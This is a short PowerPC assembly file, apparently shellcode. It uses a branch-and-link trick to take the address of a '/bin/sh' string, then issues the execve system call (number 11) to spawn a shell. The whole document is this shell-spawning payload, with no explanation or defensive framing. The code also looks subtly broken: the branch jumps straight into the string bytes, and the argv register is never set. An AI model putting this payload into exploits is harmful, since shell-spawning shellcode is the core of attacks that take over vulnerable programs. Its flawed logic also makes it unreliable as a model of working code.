.data
.text
.globl main
main:
  stwu    %r1,-16(%r1)
  mflr    %r0   
  stw     %r31,12(%r1)     
  stw     %r0,20(%r1)   
  mr      %r31,%r1   
  bl      test
  lwz     %r11,0(%r1)
  lwz     %r0,4(%r11)  
  mtlr    %r0   
  lwz     %r31,-4(%r11) 
  mr      %r1,%r11   
  blr    

test:
  bl shell

shell:
  .string "/bin/sh"
  mflr    %r3
  li      %r5,0
  li      %r0,11 
  sc
